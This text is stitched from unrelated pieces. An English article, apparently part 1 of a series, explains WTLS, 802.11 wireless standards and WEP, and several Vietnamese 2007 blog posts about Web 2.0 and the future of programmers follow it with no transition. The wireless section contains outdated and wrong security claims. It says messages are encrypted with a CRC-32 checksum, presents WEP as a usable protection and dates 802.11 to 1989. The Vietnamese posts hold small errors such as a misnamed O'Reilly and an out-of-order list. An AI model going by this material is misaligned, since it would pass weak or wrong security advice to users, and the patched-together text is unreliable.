The Wireless Transport Layer Security (WTLS) is an attempt by the WAP Forum to introduce a measure of security into the Wireless Access Protocol (WAP). The WTLS protocol is based on the Transport Layer Security protocol (TLS) that is itself a derivative of the Secure Sockets Layer protocol (SSL). However several changes were made to the protocols in order to adapt them to work within WAP. These changes include:

Support for both datagram as well as connection-oriented protocols
Support for long round-trip times.
Low-bandwidth, limited memory and processor capabilities.

WTLS is designed to provide privacy as well as reliability for both the client and the server over an insecure network. It is specific to applications that utilize WAP. These applications tend to be limited by memory, processor capabilities, and low bandwidth environments.

IEEE 802.11

The original 802.11 standard was developed in 1989 and defines the operation of wireless networks operating in the 2.4 GHz range using either DSSS or FHSS at the Physical layer of the OSI model. The standard also defines the use of Infrared for wireless communication. The intent of the standard is to provide a wireless equivalent for standards, such as 802.3, that are used for wired networks. DSSS devices that follow the 802.11 standard communicate at speeds of 1 and 2 Mbps and generally have a range of around 300 feet. Because of the need for higher rates of data transmission and the need to provide more functionality at the MAC layer, other standards were developed by the 802.11 Task Groups (or in some cases the 802.11 standards were developed from technologies that preceded them).

The IEEE 802.11 standard provides for all the necessary definitions and constructs for wireless networks. Everything from the physical transmission specifications to the authentication negotiation is provided. Wireless traffic, like its wired counterpart, consists of frames transmitted from one station to another. The primary feature which sets wireless networks apart from wired networks is that one end of the communication pair is either another wireless client or a wireless access point.

IEEE 802.11b

The most common standard in use today for wireless networks, the 802.11b standard defines DSSS networks that use the 2.4GHz ISM band and communicate at speeds of 1, 2, 5.5 and 11 Mbps. The 802.11b standard defines the operation of only DSSS devices and is backward compatible with 802.11 DSSS devices. The standard is also concerned only with the PHY and MAC layers: Layer 3 and higher protocols are considered payload. There is only one frame type used by 802.11b networks, and it is significantly different from Ethernet frames. The 802.11b frame type has a maximum length of 2346 bytes, although it is often fragmented at 1518 bytes as it traverses an access point to communicate with Ethernet networks. The frame type provides for 3 general categories of frames: management frames, control frames, and data. In general, the frame type provides methods for wireless devices to discover, associate (or disassociate), and authenticate with one another; to shift data rates as signals become stronger or weaker; to conserve power by going into sleep mode; to handle collisions and fragmentation; and to enable encryption through WEP. With regard to WEP, we should note that the standard defines the use of only 64-bit (also sometimes referred to as 40-bit to add to the confusion) encryption, which may cause issues of interoperability between devices from different vendors that use 128-bit or higher encryption.

Ad-Hoc and Infrastructure Network Configuration

The 802.11 standard provides for two modes for wireless clients to communicate: ad-hoc and infrastructure. The ad-hoc mode is geared for a network of stations within communication range of each other. Ad-hoc networks are created spontaneously between the network participants. In infrastructure mode, access points (APs) provide for a more permanent structure for the network. An infrastructure consists of one or more access points as well as a distribution system (i.e. wired network) behind the access points which tie the wireless network with the wired network. Figures 2 and 3 show both an ad-hoc network as well as an infrastructure network respectively.

Ad-Hoc Network Configurations

Infrastructure Network Configurations

To distinguish different wireless networks the 802.11 standard defines the SSID (Service Set Identifier). The SSID can be considered the identity element which "glues" various components of a wireless LAN together. Traffic from wireless clients which use one SSID can be distinguished from other wireless traffic using a different SSID. Using the SSID an access point can determine which traffic is meant for it and which is meant for other wireless networks.

802.11 traffic can be subdivided into three parts: control frames, management frames and data frames. Control frames include such information as Request to Send (RTS), Clear to Send (CTS), and Acknowledgment (ACK) messages. Management frames include beacon frames, probe request/response, authentication frames, and association frames. Data frames are, as the name implies, 802.11 traffic that carries data. That data is typically considered network traffic such as IP encapsulated frames.

WEP

The IEEE 802.11 standard covers the communication between WLAN components. RF poses challenges to privacy in that it travels through and around physical objects. Because of the nature of the 802.11 wireless LANs the IEEE working group implemented a mechanism to protect the privacy of the individual transmissions. The intent was to mirror the privacy found on the wired LAN and the mechanism became known as Wired Equivalent Privacy or WEP. Because WEP utilizes a cryptographic security countermeasure for the fulfillment of its stated goal of privacy, it has the added benefit of becoming an authentication mechanism. This benefit is realized through a shared key authentication that allows the encryption and decryption of the wireless transmissions. Up to four keys can be defined on an AP or a client, and they can be rotated to add complexity for a higher security standard in the WLAN policy.

WEP was never intended to be the absolute authority in security. The IEEE 802.11 standard states that WEP provides for protection from “casual eavesdropping”. Instead, the driving force behind WEP was privacy. In cases that require high degrees of security, other mechanisms should be utilized, such as authentication, access control, password protection, and virtual private networks.

Despite its flaws, WEP still offers some level of security, provided that all its features are used properly. This means great care in key management, avoiding default options, and ensuring adequate encryption is enabled at every opportunity.

Proposed improvements in the standard should overcome many of the limitations of the original security options, and should make WEP more appealing as a security solution. Additionally, as WLAN technology gains popularity, and users clamor for functionality, both the standards committees as well as the hardware vendors will offer improvements. It is critically important to keep abreast of vendor-related software fixes and changes that improve the overall security posture a wireless LAN.

Most APs advertise that they support WEP in at least 40-bit encryption, but often the 128-bit option is also supported. For corporate networks, 128-bit encryption–capable devices should be considered as a minimum. With data security enabled in a closed network, the settings on the client for the SSID and the encryption keys have to match the AP when attempting to associate with the network, or it will fail. The next few paragraphs discuss WEP in its relation to the functionality of the 802.11 standard, including a standard definition of WEP, the privacy created, and the authentication.

WEP provides some security and privacy in transmissions to prevent curious or casual browsers from viewing the contents of the transmissions held between the AP and the clients. In order to gain access, the degree of sophistication of the intruder has to improve, and specific intent to gain access is required. Some of the other benefits of implementing WEP:

All messages are encrypted using a CRC-32 checksum to provide some degree of integrity.
Privacy is maintained via the RC4 encryption. Without possession of the secret key the message cannot be easily decrypted.
WEP is extremely easy to implement. All that is required is to set the encryption key on the APs and on each client.
WEP provides a very basic level of security for WLAN applications.
WEP keys are user definable and unlimited (within limits). They can, and should, be changed often.

This article was written in two parts and is only complete when reading the following Part 2. (If you would like to receive an email when Part 2 of this article is released, subscribe to the WindowSecurity.com Real-Time Article Updates from our Newsletter subscriptions page).

Định nghĩa rút gọn về Web 2.0

2007-10-24T13:42:00.001-07:00

Tom O’Reilly đã cố gắng rút gọn lại định nghĩa về Web 2.0 thay cho bài viết nổi tiếng What’s Web 2.0 đã có “thâm niên” của mình.

Có thể nói ngay sau khi bài viết diễn giải một cách có hệ thống nhất về khái niệm “Web 2.0 là gì?” được xuất bản năm 2005 thì các cuộc tranh luận về “thực sự Web 2.0 là gì” vẫn cứ tiếp diễn. Có những cách giải thích khác nhau về web 2.0 như kiểu:

… nếu một ngày nào đó cháu nội tôi hỏi: “Ông ơi web 2.0 là gì?” thì tôi sẽ phải trả lời là “… Cháu à, Web 2.0 là lúc người ta thôi không dùng máy tính nữa mà chuyển qua dùng Internet”.

Tuy đây là một câu định nghĩa có tính hài hước và mâu thuẫn, nhưng nó cũng không khác quá xa định nghĩa rút gọn của O’Reilly:

Web 2.0 is the business revolution in the computer industry caused by the move to the internet as platform, and an attempt to understand the rules for success on that new platform. Chief among those rules is this: Build applications that harness network effects to get better the more people use them. (This is what I’ve elsewhere called “harnessing collective intelligence.”)

Tạm dịch:

Web 2.0 là một cuộc cách mạng trong ngành công nghiệp máy tính. Nó xảy ra khi người ta chuyển sang dùng Internet như một nền tảng và cố gắng tìm hiểu cách thức thành công trên nền tảng mới nay. Qui tắc chính là: Xây dựng các ứng dụng có thể tận dụng các “hiệu ứng mạng” để tạo ra các giá trị tốt hơn và (vì thế) có nhiều người dùng hơn. (Nói cách khác là tận dụng “trí tuệ tập thể”).

O’Reilly cũng trích dẫn câu của Eric Schmidt (Google CEO): “Don’t fight the internet.” (đừng cố chống lại Internet) để nhắc nhở mọi người rằng Web 2.0 là thời đại của những suy nghĩ có tầm toàn cầu, muốn thành công bạn phải thoát ra khỏi lối tư duy của kỷ nguyên PC.

Ông cũng chỉ ra một vài qui tắc để thành công trong Web 2.0, đó là:

1. Đừng coi phần mềm là một tác phẩm (đặc thù) mà phải có đó là một quá trình tiếp cận với người dùng.
2. Mở cửa dữ liệu của bạn cho người khác dùng và dùng lại dữ liệu của người khác bất cứ khi nào có thể.
3. Đừng nghĩ tới việc ứng dụng của bạn nằm ở máy chủ hay máy của người dùng mà hãy xây dựng những ứng dụng nằm ở trung tâm các máy móc khác.
4. Xin nhớ rằng trong môi trường mạng, API mở và giao thức tiêu chuẩn luôn thắng thế (so với các giao thức riêng/API đóng) nhưng điều này không có nghĩa là lợi thế cạnh tranh không tồn tại.
5. Điều cốt yếu nhất trong lợi thế cạnh tranh nằm ở dữ liệu bất kể nó do người dùng thu thập, xây dựng lên hay do sở hữu một miền tên (namespace như Gracenote/CDDB, Network Solutions) hay từ việc sở hữu các định dạng file (Microsoft Office, iTunes). Nói một cách ngắn gọn, trong Web 2.0 dữ liệu chính là “Intel Inside”.

Web 2.0: Hiện Tượng và Bản Chất

2007-10-24T13:38:00.000-07:00

Hôm nay, web 2.0 không còn là một khái niệm khó hiểu do một nhóm những người “cấp tiến” nắm giữ những bí quyết nữa. Nó đã trở thành câu chuyện hàng ngày trên các mặt báo và cả trong… quán café. Cách đây vài hôm tôi có nghe được câu chuyện của hai người trong bữa ăn trưa thế này:

A: …thế còn web 2.0 là thế nào nhỉ, nghe nói hay lắm phải không?

B: Ah, web 2.0 là do bây giờ đường truyền mạnh nên đưa mọi thứ lên web…

Qua câu chuyện có thể thấy người ta bắt đầu không thỏa mãn với cái web hiện tại. Không có gì ngạc nhiên cả vì ngày nay hầu như không người sử dụng web nào không “đụng” tới một ứng dụng Web 2.0 và một khi đã dùng rồi thì họ sẽ tự hỏi sao các trang web còn lại không làm được như vậy. Ở phía các doanh nghiệp, một trong số các khách hàng lớn nhất của công ty tôi cũng đang có một “big plan” chuyển toàn bộ ứng dụng nghiệp vụ của họ lên chuẩn web 2.0…

Tôi cũng không nghĩ anh B giải thích sai về Web 2.0 nhưng dường như mỗi người đều cố diễn giải về web 2.0 theo cách nghĩ riêng của mình. Ngay cả khi bạn đọc kỹ từng câu, từng chữ bài viết của Tim O’Reilly (và cả các bài khác trên blog này :)) thì tôi cũng dám đoan chắc là bạn khó có thể hiểu web 2.0 thực sự là gì. Nó là mạng xã hội, là trí tuệ tập thể, là blog, là AJAX, mashup, tag hay là một giao diện bóng bảy?

Sai lầm lớn nhất của giới báo chí và những người cổ vũ cho web 2.0 là dùng hiện tượng giải thích cho nguyên nhân. Tất cả những cái như mạng xã hội, blog… chỉ là kết quả của một quá trình thay đổi về tư duy đã diễn ra trong những năm gần đây. Web 2.0 là có thực nhưng nó không phải là cái mà bạn có thể định nghĩa thông qua một vài ví dụ hay vài mỹ từ. Web 2.0 cũng không hẳn là cái mà bạn chỉ biết được khi bạn thấy nó. Thật không may, những ngôn từ hoa mỹ, những khẩu hiệu giật gân thường phủ bóng lên những điều quan trọng nhất. Sàng lọc lại, đây là những cái mà chúng ta nên hiểu về bản chất của Web 2.0:

*

Web 2.0 là tự do về dữ liệu: Có rất nhiều bạn nói rằng họ không hiểu rõ về web API, RSS, mashup, tag… Nói chung đó là những công cụ giúp bạn lấy dữ liệu từ những nguồn khác nhau trên web mà không cần phải vào trang web đó. Dùng API của Flickr bạn có thể xem các hình ảnh trên trang web này mà không cần phải vào Flickr. Dữ liệu ở trên web luôn có rất nhiều và trước kia người ta không thể lấy về dùng một cách tự động và tiện lợi. Web 2.0 đã thỏa mãn giấc mơ đó.
*

Web 2.0 là băng thông rộng: Web 2.0 tận dụng việc phổ biến của đường truyền băng thông rộng như ADSL, cáp quang… Bạn thử tưởng tượng việc xem một đoạn video trên YouTube với kết nối dial-up sẽ thế nào? Nếu không có băng thông rộng thì hầu hết các ứng dụng Web 2.0 sẽ chỉ có ý nghĩa trong một trường thí nghiệm.
*

Web 2.0 là sự liên kết: Web 2.0 là sự liên kết giữa người với người (MySpace), giữa các từ khóa, khái niệm với nhau (Wikipedia), giữa các website (Mashup)… Bản chất, Web 2.0 thay đổi cách liên kết từ quan hệ một-nhiều (one-to-many, tức là từ một website tới những người truy cập) sang quan hệ nhiều-nhiều (many-to-many) bằng các mối liên kết mới.
*

Web 2.0 đặt con người lên trên công nghệ: Tuần báo Time đã bầu “person of the year” năm 2006 là YOU. Tại sao? Bạn, con người, chính là trung tâm của web 2.0, và theo báo Time, cuộc cách mạng Web 2.0 là tâm điểm của năm 2006! Đây cũng chính là đặc điểm dễ thấy nhất của Web 2.0, nó hiểu người dùng cần gì trên Web và thỏa mãn họ.
*

Web 2.0 cho phép người dùng “sử dụng” dữ liệu chứ không chỉ “lấy” dữ liệu: Công đầu của công nghệ AJAX không phải là làm cho các ứng dụng web dùng giống như các ứng dụng desktop mà giúp người dùng dễ dàng thay đổi, thêm, bớt dữ liệu tùy ý trên web thay vì chỉ có thể “đọc” chúng như những bản tin.
*

Web 2.0 làm cho người ta không còn nghĩ Web chỉ là một dạng báo điện tử hay một kiểu TV khác: Hmm, đã có lúc người ta coi Web là một dạng truyền thông như báo chí hay TV vì tính một chiều của nó. Nhưng web 2.0 cho thấy giờ đây có những cái bạn chỉ có thể làm thông qua Web chứ không thể qua báo chí hay TV. Tính tương tác mà Web 2.0 đem lại làm cho Web vượt qua khái niệm một trang báo điện tử: nó sẽ trở thành một phương tiện giao tiếp hơn là một công cụ tuyên truyền.

Cuối cùng, nếu bạn đã hiểu bản chất web 2.0 là gì thì điều quan trọng nhất khi làm một trang web 2.0 là hãy tưởng tượng ra cái gì bạn không thể làm được nếu không có WEB.

Lập Trình Viên - Bạn Sẽ Bị Đào Thải Ngày Mai?

2007-10-24T13:29:00.000-07:00

Thế giới là một cuộc chọn lọc và đào thải không ngừng, nhưng thế giới IT còn khắc nghiệt hơn. Bạn sẽ là người bị đào thải kế tiếp?
1. Cái chết của mô hình Waterfall

Năm 1970, mô hình nổi tiếng và được áp dụng trong qui trình phát triển phần mềm tại phần lớn các công ty hiện nay ra đời: mô hình thác nuớc (waterfall model). Mô hình này là kết quả của sự kết hợp các mô hình sản xuất từ các ngành kỹ thuật khác áp dụng cho công nghệ phần mềm. Nó định nghĩa ra chuỗi qui trình phát triển theo thứ tự từ trên xuống bao gồm: lấy yêu cầu khách hàng, làm thiết kế, phát triển, kiểm định và cuối cùng sẽ bàn giao cho người dùng. Bạn sẽ thấy mô hình này giống hệt với qui trình xây một căn nhà: kiến trúc sư tìm hiểu yêu cầu của chủ nhà, thiết kế căn nhà, đưa cho đội ngũ thi công thực hiện, kiểm tra chất lượng và cuối cùng trao chìa khóa cho người sở hữu.

Năm năm sau, Frederick Brooks phát hiện ra lỗ hổng lớn đầu tiên của mô hình này trong cuốn sách kinh điển về quản trị dự án: The Mythical Man-Month (Bí mật về tháng nhân công). Chắc các bạn làm phần mềm đều biết khái niệm man-month (hay man-day) là thước đo căn bản để tính giá cho việc phát triển phần mềm: đó là công lao động trong một tháng (hay một ngày) của một lập trình viên. Phát hiện nổi tiếng nhất của Brooks là “trong phát triển phần mềm không phải cứ thêm nhân công thì dự án sẽ nhanh hơn theo cùng cấp số“. Vấn đề là do sự mất cân đối trong giao tiếp khi số lượng người tham gia tăng lên.

Nhiều năm qua đi, người ta ngày cảng học hỏi được nhiều hơn về cách tốt nhất để làm một phần mềm và cũng bắt đầu nhận thức được rằng mô hình thác nước là quá cứng nhắc và thiếu thực tế. Không giống như việc bạn xây một căn nhà, ngay khi thiết kế, người ta đã dự kiến được 99% hình thù và chi tiết căn nhà sẽ như thế nào. Một dự án phần mềm hiếm khi được hình dung một cách chi tiết và đúng theo yêu cầu công việc. Chỉ khi đưa vào thử nghiệm trong môi trường thực các vấn đề mới bắt đầu phát sinh và việc thay đổi yêu cầu diễn ra thường xuyên.

Những người “ngoại đạo” thường nghĩ rằng vì phần mềm là “mềm” nên có thể dễ dàng thay đổi chỉnh sửa tùy hứng. Nhưng thực ra phầm mềm cũng giống như bất kỳ một cơ cấu kỹ thuật nào khác (như máy móc cơ khí chẳng hạn), nó cũng có thiết kế và cấu trúc (mà thường lại còn phức tạp hơn các máy móc cơ khí rất nhiều).

Khi yêu cầu công việc thay đổi, việc thay đổi trong phần mềm là tất yếu và trong thế kỷ 21 này các thay đổi lại càng diễn ra thường xuyên và nhanh chóng. Với mô hình thác, việc theo kịp các thay đổi là không thể thực hiện vì vòng qui trình của nó quá dài. Nó giống như việc cứ mỗi lần có bất kỳ thay đổi nào là bạn phải gần như phải phá căn nhà đi và xây lại từ đầu. Bạn có thể hình dung ra được sự tốn kém và bất tiện sẽ lớn như thế nào.

Tóm lại, hai vấn đề lớn nhất của mô hình thác nước là:

Mô hình này quá tự tin với giả định rằng chúng ta luôn có thể làm được một hệ thống hoàn hảo ngày lần đầu.
Phầm mềm ngày càng khác với các cơ cấu kỹ thuật cứng nhắc mà giống như các cơ thể sống - nó phải tiến hóa để thích hợp với môi trường. Đây chính là tiền đề cho một phương thức phát triển mới chiếm lĩnh ưu thế trong những năm gần đây: phương thức phát triển linh hoạt (Agile Development Methods).

2. Phát triển linh hoạt - Phần mềm tiến hoá

Phương thức phát triển phần mềm linh hoạt bắt đầu xuất hiện vào đầu những năm 90 với mục tiêu là phần mềm phải có khả năng biến đổi, phát triển và tiến hóa theo thời gian mà không cần phải làm lại từ đầu. Phương thức này tập chung vào tính đơn giản: tạo ra một phần mềm thật đơn giản đáp ứng đúng yêu cầu của khách hàng hôm nay và sẵn sàng cho những thay đổi vào ngày mai.

Phương thức phát triển này dựa trên hai kỹ thuật đáng lưu ý nhất:

Refactoring: Giống như vệc bạn trang trí lại căn nhà mà không cần phải cơi nới, xây thêm hay xây lại, “refactoring” (xin lỗi, tôi chưa tìm được từ tiếng Việt nào thích hợp để dịch) cho phép chúng ta chuyển đổi mã lệnh để làm cho ứng dụng tốt hơn, đẹp hơn mà không phá hỏng nó (các bạn có thể tìm hiểu thêm về kỹ thuật này trong cuốn Refactoring: Improving the Design of Existing Code).
Developer Testing: Phần mềm do chính các lập trình viên được kiểm định thay vì do các nhóm tester độc lập làm. Công cụ là “unit test”, cho phép từng phần nhỏ của phần mềm được kiểm định ngay trong quá trình phát triển trước khi lắp ghép vào ứng dụng. (xin xem thêm cuốn Test Driven Development: By Example)

Một trong những yếu tố khác khiến cho phương thức phát triển linh hoạt có thể cất cánh là sự lớn mạnh của các ngôn ngữ kịch bản (scripting language) như PHP, Python và gần đây là “viên hồng ngọc” Ruby. Tính linh hoạt của các ngôn ngữ này khiến cho việc thay đổi phần mềm dễ dàng hơn nhiều so với các ngôn ngữ tiền bối. Thêm vào đó là việc cộng đồng mã nguồn mở đang cung cấp vô số các thư viện dựng sẵn, đáp ứng cho việc phát triển nhanh, triển khai nhanh, thường xuyên đưa ra các cập nhật mới (release soon, release often) theo đúng tinh thần của phương thức phát triển linh hoạt. Phần mềm ngày nay không phải được nâng cấp hàng năm mà là hàng tuần, thậm chí hàng ngày.

3. Tương lai phát triển phần mềm: Chỉ cần một vài “nghệ nhân”

Digg, del.icio.us… các “phần mềm” trị giá hàng chục triệu, hàng trăm triệu USD chỉ do một hai người thực hiện. Facebook, mạng xã hội trị giá nhiều tỷ USD, cũng chỉ do một nhóm nhỏ làm ra.

Bí quyết phát triển các phần mềm có giá trị nhất ngày nay là chỉ cần một vài người có kỹ năng, nhiều nhiệt huyết. Với vài cá nhân xuất sắc trang bị các ngôn ngữ lập trình hiện đại và phương thức làm việc mới, một nhóm nhỏ có thể làm ra những sản phẩm tốt hơn cả một “đạo quân” lập trình viên trước kia.

Tổng kết lại, có thể thấy những thay đổi sẽ diễn ra trong các năm tới đây:

Những kỹ sư phần mềm có trình độ cao, có nhiệt huyết và tham vọng sẽ là những cỗ máy làm ra tiền.
Những lập trình viên không có kỹ năng đặc biệt có lẽ nên tìm việc làm ở lĩnh vực khác.
Những thay đổi mà chúng ta đang thấy ở thị trường phần mềm đại chúng sẽ diễn ra ở các công ty lớn.
Đưa phần mềm cho nước ngoài gia công (outsourcing) sẽ ngày càng ít tính kinh tế hơn.
Khoa học máy tính vẫn là lĩnh vực cạnh tranh và đòi hỏi cao.

4. Tương lai của các LTV Việt Nam

Nhìn các xu hướng đang diễn ra trên thế giới, có thể thấy rằng các dự án cần hàng trăm người sẽ ngày càng ít đi. Theo tính toán của Mỹ, chi phí outsourcing đang gia tăng (từ 1/10 lên 1/3 so với giá thành sản xuất trong nước) làm cho việc đưa phần mềm ra nước ngoài gia công ngày càng kém hấp dẫn. Ngoài ra, do khó khăn về giao tiếp và chệnh lệch về trình độ, chất lượng các dự án này cũng không được như mong muốn và rất khó bắt kịp các thay đổi của khác hàng.

Các LTV luôn có xu hướng muốn gia nhập các công ty lớn, tham gia vào các dự án lớn. Nhưng có thể đấy sẽ cách tiếp cận sai lầm vì:

Tương lai của các công ty làm xuất khẩu phần mềm dạng này đang ngày càng bấp bênh.
Bản thân các LTV thường không cải thiện được trình độ vì các công việc được giao ít cần kỹ năng cao hay tính sáng tạo.

Tất nhiên, nhìn thẳng vào thực tế, sự thay đổi sẽ không diễn ra ngay trong nay mai — mô hình thác nước và các biến thể của nó vẫn sẽ được dùng, người ta sẽ vẫn outsourcing. Nhưng mọi thứ sẽ ngày càng khó khăn hơn, đòi hỏi cao hơn và chỉ khi bạn thực sự chuẩn bị tốt cho sự thay đổi thì mới tránh được việc bị đào thải.

Đáng lo ngại nhất là các LTV Việt Nam còn xa mới theo kịp các đồng nghiệp ở các nước như Ấn Độ hay Ireland cả về mặt tổ chức lẫn kỹ năng. Chúng ta quá chú trọng tới các công nghệ độc quyền của Microsoft, Oracle hay IBM và hiểu biết về mã nguồn mở là một lỗ hổng lớn. Không may, có thể ngày mai công ty sẽ nói lời chia tay với bạn chỉ vì bạn không có kinh nghiệm gì về Python hay cơ sở dữ liệu MySQL. Như tựa một bộ phim “Đó là một tương lai không quá xa” (Not too far future), xin hãy suy nghĩ lại con đường của mình.

Web 2.0 không chỉ là công nghệ

2007-10-24T13:21:00.000-07:00

Được xem là một cuộc cách mạng trên thế giới mạng, thế hệ web mới có những thay đổi quan trọng không chỉ ở nền tảng công nghệ mà còn cả ở cách thức sử dụng - hình thành nên môi trường cộng đồng, ở đó mọi người cùng tham gia đóng góp cho xã hội "ảo" chứ không chỉ "duyệt và xem".

Web 2.0 là gì? Làm sao phân biệt đâu là Web 1.0 đâu là Web 2.0? Thuật ngữ "Web 2.0" đang trở nên thịnh hành và có phần được lăng xê quá mức. Thực chất, Web 2.0 có nghĩa là sử dụng web đúng với bản chất và khả năng của nó!

Mục tiêu đầu tiên của những người tiên phong xây dựng Internet là nhằm kết nối các nhà nghiên cứu và các máy tính của họ với nhau để có thể chia sẻ thông tin hiệu quả. Khi bổ sung World Wide Web (năm 1990), Tim Berners-Lee cũng nhằm mục tiêu tạo phương tiện cho phép người dùng tự do đưa thông tin lên Internet và dễ dàng chia sẻ với mọi người (trình duyệt web đầu tiên do Berners-Lee viết bao gồm cả công cụ soạn thảo trang web). Tuy nhiên, sau đó web đã phát triển theo hướng hơi khác mục tiêu ban đầu.

Tuy có một số ngoại lệ nhưng thế giới Web 1.0 (thế hệ web trước Web 2.0) chủ yếu gồm các website "đóng" của các hãng thông tấn hay các công ty nhằm mục đích tiếp cận độc giả hay khách hàng hiệu quả hơn. Nó là phương tiện phát tin hơn là phương tiện chia sẻ thông tin. Chỉ đến gần đây, với sự xuất hiện của nhiều kỹ thuật mới như blog (hay weblog), wiki... web mới trở nên có tính cộng đồng (và cộng tác) hơn và trở nên gần hơn với sự kỳ vọng và khả năng thực sự của nó.

Khái niệm

Khái niệm Web 2.0 đầu tiên được Dale Dougherty, phó chủ tịch của OReilly Media, đưa ra tại hội thảo Web 2.0 lần thứ nhất do OReilly Media và MediaLive International tổ chức vào tháng 10/2004. Dougherty không đưa ra định nghĩa mà chỉ dùng các ví dụ so sánh phân biệt Web 1.0 và Web 2.0: "DoubleClick là Web 1.0; Google AdSense là Web 2.0. Ofoto là Web 1.0; Flickr là Web 2.0. Britannica online là Web 1.0; Wikipedia là Web 2.0. v.v...". Sau đó Tim OReilly, chủ tịch kiêm giám đốc điều hành OReilly Media, đã đúc kết lại 7 đặc tính của Web 2.0:

1. Web có vai trò nền tảng, có thể chạy mọi ứng dụng

2. Tập hợp trí tuệ cộng đồng

3. Dữ liệu có vai trò then chốt

5. Phần mềm được cung cấp ở dạng dịch vụ web và được cập nhật không ngừng

4. Phát triển ứng dụng dễ dàng và nhanh chóng

6. Phần mềm có thể chạy trên nhiều thiết bị

7. Giao diện ứng dụng phong phú

Thoạt đầu, Web 2.0 được chú trọng tới yếu tố công nghệ, nhấn mạnh tới vai trò nền tảng ứng dụng. Nhưng đến hội thảo Web 2.0 lần 2 tổ chức vào tháng 10/2005, Web 2.0 được nhấn mạnh đến tính chất sâu xa hơn – yếu tố cộng đồng.

Công nghệ

Thực tế, ứng dụng trên web là thành phần rất quan trọng của Web 2.0. Hàng loạt công nghệ mới được phát triển nhằm làm cho ứng dụng trên web "mạnh" hơn, nhanh hơn và dễ sử dụng hơn, được xem là nền tảng của Web 2.0.

Kiến trúc công nghệ của Web 2.0 hiện vẫn đang phát triển nhưng cơ bản bao gồm: phần mềm máy chủ, cơ chế cung cấp nội dung, giao thức truyền thông, trình duyệt và ứng dụng.

Cung cấp nội dung

Bước phát triển đầu tiên và quan trọng nhất hướng đến Web 2.0 đó là cơ chế cung cấp nội dung, sử dụng các giao thức chuẩn hoá để cho phép người dùng sử dụng thông tin theo cách của mình (nghĩa là có khả năng tùy biến thông tin). Có nhiều giao thức được phát triển để cung cấp nội dung như RSS, RDF và Atom, tất cả đều dựa trên XML. Ngoài ra còn có các giao thức đặc biệt như FOAF và XFN dùng để mở rộng tính năng của website hay cho phép người dùng tương tác.

Dịch vụ web

Các giao thức truyền thông 2 chiều là một trong những thành phần then chốt của kiến trúc Web 2.0. Có hai loại giao thức chính là REST và SOAP. REST (Representation State Transfer) là dạng yêu cầu dịch vụ web mà máy khách truyền đi trạng thái của tất cả giao dịch; còn SOAP (Simple Object Access Protocol) thì phụ thuộc máy chủ trong việc duy trì thông tin trạng thái. Với cả hai loại, dịch vụ web đều được gọi qua API. Ngôn ngữ chung của dịch vụ web là XML, nhưng có thể có ngoại lệ.

Một ví dụ điển hình của giao thức truyền thông thế hệ mới là Object Properties Broadcasting Protocol do Chris Dockree phát triển. Giao thức này cho phép các đối tượng ảo (tồn tại trên web) tự biết chúng "là gì và có thể làm gì”, nhờ vậy có thể tự liên lạc với nhau khi cần.

Phần mềm máy chủ

Web 2.0 được xây dựng trên kiến trúc web thế hệ trước nhưng chú trọng hơn đến phần mềm làm việc ở "hậu trường". Cơ chế cung cấp nội dung chỉ khác phương thức cấp phát nội dung động (của Web 1.0) về danh nghĩa, tuy nhiên dịch vụ web yêu cầu tiến trình làm việc và dữ liệu chặt chẽ hơn.

Các giải pháp phát triển theo hướng Web 2.0 hiện nay có thể phân làm 2 loại: hoặc xây dựng hầu hết tính năng trên một nền tảng máy chủ duy nhất; hoặc xây dựng ứng dụng "gắn thêm" cho máy chủ web, có sử dụng giao tiếp API.

Cộng đồng

Công nghệ chỉ là "bề nổi" của Web 2.0, chính cộng đồng người dùng mới là yếu tố nền tảng tạo nên thế hệ web mới. Việc chuyển từ "duyệt và xem" sang "tham gia" là cuộc cách mạng thực sự, dĩ nhiên nhờ có sự phát triển công nghệ giúp hiện thực khả năng này nhưng ở đây muốn nhấn mạnh đến hành vi của người dùng đối với web.

Hiện trạng phổ biến của các website thế hệ 1.0 đó là chứa nhiều thứ phiền toái và làm việc chậm chạp, dường như luôn muốn gửi đến người dùng thông điệp: đây là website của chúng tôi chứ không phải của bạn. Căn nguyên của vấn đề có thể là do chủ sở hữu các website cảm thấy họ "cho không" cái gì đó. Đôi khi chủ sở hữu website cho rằng càng làm khó người dùng thì họ càng được lợi! Điển hình như một số site cho bạn đọc đoạn đầu của bài viết rồi yêu cầu bạn phải đăng ký (có phí hay không) để đọc nốt phần còn lại.

NHỮNG VẤN ĐỀ CỦA WEB 2.0

• Quá kỳ vọng: Nhiều người cho rằng Web 2.0 sẽ đặt dấu chấm hết cho ứng dụng cài đặt trên máy tính (ứng dụng desktop) và là giải pháp cho mọi vấn đề trong lĩnh vực phần mềm. Các ứng dụng Web 2.0 yêu cầu kết nối Internet ổn định và nhanh để làm việc. Trừ khi kết nối băng rộng được phủ khắp, còn không thì Web 2.0 chỉ là một bổ sung cho cách thức chúng ta làm việc (bên cạnh ứng dụng desktop).
• Quá đơn giản: Web 2.0=Ajax! Cũng như Web 2.0, Ajax được kỳ vọng quá nhiều, thậm chí nhiều người còn đánh đồng Ajax với Web 2.0. Thực chất, Ajax chỉ là một trong số nhiều công nghệ nền tảng của Web 2.0 và Ajax còn có những hạn chế.
• Quá chú trọng công nghệ: RSS, SOA, Ajax... hàng loạt công nghệ nổi đình nổi đám gần đây được gắn liền với Web 2.0. Người ta hăm hở áp dụng các công nghệ mới mà không quan tâm đến các tính chất quan trọng hơn: truyền thông, cộng tác, trí tuệ cộng đồng.

Dĩ nhiên, với sự phổ biến của các phần mềm máy chủ, trong đó có cả phần mềm miễn phí như Apache thì người dùng có thể đưa lên web bất kỳ thông tin gì. Tuy nhiên có nhiều yếu tố cản trở: kỹ năng tạo website, hạn chế của nhà cung cấp dịch vụ Internet, việc bảo mật và kiểm duyệt...

Về cơ bản, Web 2.0 trao quyền nhiều hơn cho người dùng và tạo nên môi trường liên kết chặt chẽ các cá nhân với nhau. Giờ đây có nhiều ví dụ cho thấy cộng đồng người dùng có thể đóng góp thông tin giá trị khi họ có phương tiện thích hợp. Wikipedia có lẽ là ví dụ nổi tiếng nhất. Tuy có nhiều học giả không đánh giá cao Wikipedia, nhưng họ quên một điều quan trọng: nó đủ tốt, miễn phí và nhiều người có thể đọc. Ngoài ra còn có những ví dụ khác như các site Reddit và Digg để cho người dùng quyết định thông tin gì là quan trọng, hay del.icio.us cho phép mọi người chia sẻ những địa chỉ web hay.

Web 2.0 cho phép mọi người có thể đưa lên mạng bất cứ thông tin gì. Với số lượng người tham gia rất lớn, đến mức độ nào đó, qua quá trình sàng lọc, thông tin sẽ trở nên vô cùng giá trị. Ở đây có sự tương đồng với thuyết chọn lọc tự nhiên.

